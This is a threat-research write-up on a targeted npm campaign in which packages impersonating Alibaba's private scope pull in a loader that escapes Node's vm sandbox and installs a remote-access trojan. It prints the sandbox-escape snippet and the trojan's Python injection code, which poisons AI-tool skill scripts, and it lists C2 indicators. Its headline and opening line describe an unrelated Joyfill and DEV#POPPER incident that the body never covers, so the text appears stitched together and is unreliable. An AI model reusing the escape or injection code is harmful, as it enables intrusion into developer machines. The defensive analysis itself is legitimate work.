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Two Joyfill npm Beta Releases Compromised to Deliver DEV#POPPER Remote Access Trojan
Two Joyfill npm beta releases contain an import-time implant that uses blockchain transactions to retrieve a remote-access trojan.
Benign-looking npm packages split malicious functionality across a dependency chain that deploys a cross-platform RAT targeting Alibaba developers.
July 28, 2026
8 min read
Unknown threat actors distribute malicious downloader functionality separated across several npm packages targeting users of Alibaba tools. The final payload is a covert and highly targeted RAT capable of data exfiltration, command execution and lateral spreading using DingTalk tools
Analysis of a malicious npm package lib-mtop
containing a simple downloader malware led to an investigation into a targeted campaign that remained undetected for 3 months.
The lib-mtop
package, originally published three years ago, had three new versions published at the end of March, 2026. This indicates a potential maintainer account takeover, but the possibility of a maintainer going rogue can’t be excluded. Whichever the case, it is not that relevant for the story, since there was only one version of the lib-mtop
package initially published, with no functionality and an insignificant number of downloads. The only reason why this package is relevant for the research is the fact that it is an unscoped package name imitating a private package from the @ali
scope. This scope is not available for registration on npm, and is most likely reserved for security reasons or already registered by Alibaba Group. Code references to packages from this scope can be found across several GitHub repositories. The @ali
scope is used for hosting Alibaba's private packages used in internal projects and tooling.
The malware in the lib-mtop
package is a classic malicious loader fetching a hardcoded remote JavaScript payload using curl, and executing it via require()
from the disk. It doesn’t use any novel or interesting techniques. The same maintainer account published 4 other packages, aone-kit
, aone-kit-cli
, aone-sandbox
and local-config-parser
. The first three are empty wrappers that have the same name as private, @ali
-scoped packages which they declare as a dependency in the package.json file. The last package, local-config-parser
is the most interesting one.
Described as “JSON configuration file parser with built-in rule evaluation engine.” it truly implements that logic. It parses rules from a local json config file and evaluates them using Node.js vm
module for isolated expression evaluation. Nothing suspicious to observe, a regular package doing exactly what it describes, communicates only with the local system and even performs execution of untrusted code in an isolated environment. A typical analyst verdict would be non-malicious. But the context around the package led to a different classification. Examination of the dependency tree revealed the malicious nature of several, on their own, innocent-looking packages, published from different user account. Combined together they deliver an advanced remote access tool (RAT) in a campaign targeting developers most likely working in companies that are part of the Alibaba Group.
The malicious loader functionality is distributed into several packages delivered to the targets as part of the same dependency tree. The top-layer packages serve as lures that trigger the installation of the dependency tree. They implement the same tactic observed in the lib-mtop
package - an unscoped package name impersonating private packages from the @ali
scope and including them as a dependency. When such package is installed in an environment that has access to impersonated, scoped private packages, the dependency resolution works as expected, with a little extra functionality delivered through additional dependencies that get installed.
All 10 top-layer lure packages depend on the same middle-layer package smart-config-manager
. It defines two dependencies - cloud-config-fetcher
containing configuration fetching logic and local-config-parser
containing rule evaluation logic. Packages were published by different npm maintainer accounts in an attempt to hide the connection between them and make them look unrelated. But the time information about user account creation and package publishing surfaces the relation between them.
The campaign appears to have been staged across April 27 and 28. The actors first published node-data-utils
and fast-transform-pipeline
, which appear to have served as tests of the multi-package delivery mechanism. The rest of the dependency chain followed on April 28 across several publisher accounts. Most were newly created for the campaign, while local-config-parser
was published by the older ch4ce
account, suggesting a possible account takeover.
node-data-utils
(neural_dev
)fast-transform-pipeline
(tensor_lab
)cloud-config-fetcher
(tensor_lab
)local-config-parser
(ch4ce
)smart-config-manager
(luck_show
)aone-cloud-cli
(aone_code
)colder-cli
(aone_code
)def-open-client
(aone_code
)feedback-ai-sdk
(aone_code
)flight-compare-analyzer
(aone_code
)lwp-web-client
(aone_code
)lzd-unified-station-sdk
(aone_code
)open-worker-cli
(aone_code
)test-skill-zip
(aone_code
)uniapi-bridge
(aone_code
)Both of the low-layer packages implement the described rule parsing and evaluation properly, but also contain additional auto-initialization logic. In the case of the cloud-config-fetcher
package, the auto-initialization logic downloads a default configuration from attacker controlled GitHub repository:
hxxps://raw[.]githubusercontent[.]com/smi1e2u/smart-config-manager/main/defaults/preferences.json
The fetched configuration is saved to a local file named .cloud-preferences.json
. The auto-initialization logic in the local-config-parser
package is configured to read and parse the configuration from that same file and execute the rules defined in it. These three packages together implement the download&execute code pattern using attacker controlled GitHub repository as the location where the actual malicious code is hosted.
The malicious code in the GitHub repository is hidden from plain sight and camouflaged in one of the rules whose expressions get executed. At the very start and end of the expression, the code pretends to be a normal configuration rule. It defines mathematical multipliers for categories encountered in other rules:
var multipliers = { A: 0.85, B: 0.9, C: 0.7 };
...
return items.map(function(item) { ... }); // Lowers values based on category
Between these lines containing benign functionality, the code that performs payload download is defined. As previously mentioned, the rule evaluation logic from the local-config-parser
package uses the vm
module for isolated expression evaluation to give a false sense of security to the whole package. The malicious code defined in the configuration rules uses a classic Node.js vm
sandbox escape technique to bypass these protections:
var F = items.constructor.constructor;
var p = F('return process')();
Code execution in vm
is performed by passing code expressions for evaluation to a sandbox created with a given context data which these expressions are expected to transform. The logic defined in local-config-parser
package passes data through an object named items
. The malicious code looks at the constructor of items
object to get a reference to the global Function
constructor outside the sandbox. Calling F('return process')()
gives the malware full access to the host machine's Node.js process
global variable, completely neutralizing security boundaries imposed by the vm
sandbox. The malicious code then tries 6 different methods to access Node's module loader system - require
or _load
. It tries to access them using modern and legacy Node.js methods by trying to extract the loader through process.getBuiltinModule
, process.mainModule
, or by searching for them in host's root global
container.
If the loader system is successfully accessed, the code loads the http
module and downloads and executes a third-stage setting.js
payload from attacker controlled C2 server also hosted in Alibaba Cloud to blend in with the regular traffic:
hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js
This stage uses the same sandbox evasion technique described earlier. It performs initial reconnaissance and platform fingerprinting and based on the discovered host platform downloads the stage four aone-cli
payload and sets persistence mechanisms:
macOS:
Inserts malicious background script into ~/.zshrc and sets up a 10-minute Launch Agent.
Windows:
Kills the official Alilang security app and replaces its core code (app.asar) with a Trojan copy.
Linux:
Downloads a binary payload to /tmp, runs it detached, and deletes the file from disk after loaded into memory.
Additionally it performs silencing of logging mechanisms and cleanup of the malicious artifacts downloaded during previous stages of infection.
The final payload stored in files named aone-cli
is another proof of a targeted nature of the campaign. Aone is the internal R&D infrastructure of Alibaba Group. It supports developers from core business units, including Taobao & Tmall Group and Alibaba Cloud, in executing key R&D workflows such as code management, requirements management, and change release.
This payload is a cross-platform RAT with wide range of functionalities. These include command execution, arbitrary file upload and download, host reconnaissance, payload staging, an encrypted reverse TCP proxy, application-specific persistence through code injection, and DingTalk lateral movement. It automatically checks in to a hardcoded command-and-control endpoint and starts polling for commands whenever the file is executed or imported.
The RAT includes a predefined set of supported commands, but it is not limited to them since anything else is forwarded to the local operating-system shell:
info
sleep
pwd
whoami
ipconfig / ifconfig
dir / ls
cat
read
screenshot
download
upload
pull
execute
run_python
proxy
aisearch
install_python_module
install_node_module
aipoison
aipoison_inject
aipoison_deploy
dws_lateral
exit
Persistence mechanisms include poisoning of AI-tools by patching Python scripts located inside .skills
directories of a specific set of tools with code snippets that execute a malicious script.js
previously downloaded from the C2 server. Targeted tools are typical of Chinese-speaking environment and include DingTalk, Wukong and Qoder enterprise collaboration tools.
// 要注入的 Python 代码片段（标记用于检测是否已注入）
//Translation: Python code snippet to be injected (marked to detect whether injection has already occurred)
const injectMarker = '# __INJECT_MARKER__';
const injectCode = [
` ${injectMarker}`,
` try:`,
` import os as _os`,
` _bun_name = 'bun.exe' if _os.name == 'nt' else 'bun'`,
` _bun = _os.path.join(_os.path.expanduser('~'), '.real', '.bin', _bun_name)`,
` _script = _os.path.join(_os.path.dirname(_bun), 'script.js')`,
` if _os.path.exists(_bun) and _os.path.exists(_script):`,
` _flags = 0x08000000 if _os.name == 'nt' else 0`,
` subprocess.Popen([_bun, _script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=_flags)`,
` except Exception:`,
` pass`,
].join('\n');
Network traffic to C2 server is also camouflaged by adding fake Origin
and Referer
headers to http requests whose values areset to https://alidocs.dingtalk.com
to look like it is generated from visitors of the official DingTalk pages.
The code in later-stage payloads is heavily commented in Chinese language. GitHub commits are timestamped with UTC+0800 timezone information (China Standard Time). While these information can be faked, and shouldn’t be taken as a strong evidence of attribution, they suggest this could be a campaign operated by a Chinese-speaking threat actor.
The entire campaign, from the frontend lures wrapping packages from the private @ali
scope under identical names, to the final-stage payloads targeting enterprise collaboration tools from Alibaba Group, supports the conclusion about a very targeted campaign focused on Chinese speaking developers using tools belonging to Alibaba Group.
The goal of the campaign seems to be industrial espionage. While the number of downloads for the malicious packages is not significant, the impact of the campaign is hard to evaluate, because of the targeted nature and lateral-spread capabilities of the final-stage payload. The fact that the entire campaign infrastructure is still active more than 3 months after publishing gives a sense of the sophistication level involved.
Teams that installed any affected package should treat the installing environment as potentially compromised, remediation should be performed from a clean machine, not from the potentially infected host.
Recommended response:
__INJECT_MARKER__
Origin
and Referer
headers set to https://alidocs.dingtalk.com
.ROBOT_UID
with value assigned to 3201d407b7899a12d6d439950511c6a5
.lib-mtop
aone-kit
aone-kit-cli
aone-sandbox
local-config-parser
smart-config-manager
cloud-config-fetcher
fast-transform-pipeline
aone-cloud-cli
colder-cli
def-open-client
feedback-ai-sdk
flight-compare-analyzer
lwp-web-client
lzd-unified-station-sdk
open-worker-cli
test-skill-zip
uniapi-bridge
smi1e2u
- malicious maintainer accountfast-transform-pipeline
- testing repositorysmart-config-manager
- repository containing config file with the malicious rule84a6ccaaab1596139d28e822f40cc99c68d337d4c81d1c6d9692c1d6bb22e4af
- preferences.json
config file containing malicious rules with second stage loader6044974c633b3a319c31bb32110411520c425e89722a64806528553227e7a50a
- setting.js
third-stage loader0910ecfa049738ef3f2540855341a380df89224ff71da94b4c21689fd66f62e3
- aone-cli.js
deployed on macOS systemsb8b81af76163bdcc5b4f7d8fe6795f164991f8a62678c971db031b9e90a27813
- aone-cli
deployed on Linux systemsef9a1896eeaae929800eade768276e2240ef252d26d0d96c1950a1a5e1aadb34
- aone-cli.zip
deployed on Windows systemse5d8350f1540fe91145dc262c455bca7748ad97dafb2d9facd5adebed9f66d2d
- aone-cli-deps.tar.gz
containing older version of aone-cli.js
41957bd0ba2d9c07af2e069f10780fdf6b2102c065bebe0db2136dfe07d67a28
- crypto.js
third-stage loader from lib-mtop
package33b58598eb317553942e27545982d4c25ce6120eae10e42393746eb0e02ecae9
- aone-kit-update
deployed on Linux systems from lib-mtop
packagexemzqli2vu[.]ai-app[.]pub
primary C2 domaindiamond-cli-znsxphqell[.]cn-shanghai[.]fcapp[.]run
reverse-proxy WebSocket C2hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js
hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli.js
hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli-deps.tar.gz
hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli
hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli.zip
hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/plugins/crypto.js
hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/aone-kit.js
hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/app.asar
hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/aone-kit-update
__INJECT_MARKER__
3201d407b7899a12d6d439950511c6a5
value assigned to ROBOT_UID
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